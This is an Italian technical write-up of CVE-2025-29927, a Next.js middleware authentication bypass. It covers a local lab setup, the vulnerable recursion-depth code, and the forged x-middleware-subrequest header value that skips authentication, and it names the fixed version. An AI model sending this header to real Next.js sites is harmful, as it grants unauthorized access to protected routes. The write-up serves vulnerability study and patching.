
Bypass dell'autenticazione del middleware Next.js
Falsificando l'header di richiesta x-middleware-subrequest è possibile aggirare il meccanismo di autenticazione del middleware di Next.js, consentendo l'accesso non autorizzato a route protette.
Il codice sorgente del progetto è tratto da P神, con versione di Next.js 15.2.2 (per Next.js 15.x, questo problema è risolto nella versione 15.2.3).
Assicurarsi che Node e npm siano installati. Verificare le versioni con i seguenti comandi:
node -v
npm -v
Installare le dipendenze e avviare il progetto
# 1. Entrare nella directory del progetto
cd vulenv
# 2. Installare Yarn a livello globale (se non è già installato)
npm install -g yarn
# 3. Installare le dipendenze del progetto
yarn install
# 4. Avviare il server di sviluppo
npm run dev
Oppure, tutto in un unico comando:
cd vulenv && npm install -g yarn && yarn install && npm run dev
In caso di successo, il risultato è il seguente:


Configurare il debug di VScode come segue
{
"version": "0.2.0",
"configurations": [
{
"name": "Next.js: debug server-side",
"type": "node-terminal",
"request": "launch",
"command": "npm run dev"
},
{
"name": "Next.js: debug client-side",
"type": "chrome",
"request": "launch",
"url": "http://localhost:3000"
},
{
"name": "Next.js: debug full stack",
"type": "node-terminal",
"request": "launch",
"command": "npm run dev",
"serverReadyAction": {
"pattern": "- Local:.+(https?://.+)",
"uriFormat": "%s",
"action": "debugWithChrome"
}
}
]
}
const run = withTaggedErrors(async function runWithTaggedErrors(params) {
var _params_request_body;
const runtime = await getRuntimeContext(params);
const subreq = params.request.headers[`x-middleware-subrequest`];
const subrequests = typeof subreq === 'string' ? subreq.split(':') : [];
const MAX_RECURSION_DEPTH = 5;
const depth = subrequests.reduce((acc, curr)=>curr === params.name ? acc + 1 : acc, 0);
if (depth >= MAX_RECURSION_DEPTH) {
return {
waitUntil: Promise.resolve(),
response: new runtime.context.Response(null, {
headers: {
'x-middleware-next': '1'
}
})
};
}
......
Si tratta di una funzione middleware progettata per rilevare la profondità delle chiamate ricorsive ed evitare loop di chiamate infiniti. Il suo meccanismo si basa sull'header di richiesta x-middleware-subrequest: lo suddivide in più nomi di sotto-richieste usando i due punti : e conta il numero di volte in cui corrisponde al nome del middleware corrente params.name (cioè il livello di ricorsione). Quando il livello di ricorsione raggiunge o supera la soglia impostata (di default MAX_RECURSION_DEPTH = 5), il middleware salta la logica principale, come il controllo di identità, e prosegue con il flusso di elaborazione della richiesta.
Suggerimento: per evitare loop di chiamate infiniti, il concetto è più o meno il seguente
L'utente accede a /dashboard
↓
il middleware intercetta e richiede /api/auth
↓
/api/auth attiva nuovamente il middleware
↓
il middleware richiede di nuovo /api/auth
↓
...
Loop infinito! 🌀
Il middleware si chiama middleware; è possibile costruire il seguente header di richiesta:
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
La costruzione di cui sopra porta a depth = 5, attivando direttamente:
if (depth >= MAX_RECURSION_DEPTH)
Se l'applicazione implementa la logica di verifica dell'identità nel middleware, il middleware esce dalla logica di autenticazione e restituisce
x-middleware-next: 1
facendo proseguire la richiesta verso il backend, consentendo di ottenere risorse protette senza autenticazione.
Impostare un punto di interruzione nella posizione indicata nella figura seguente (percorso dettagliato: CVE-2025-29927/vulenv/node_modules/next/dist/server/web/sandbox/sandbox.js), quindi avviare il debug.

Inviare il Payload

Il debugger si ferma nel punto mostrato nella figura seguente, dove si può vedere che il valore di depth in questo momento è 5

Continuando l'esecuzione, è possibile ottenere le risorse protette

Basato su Pocsuite3; per i dettagli, vedere Poc_CVE-2025-29927.py.

Next.js and the corrupt middleware: the authorizing artifact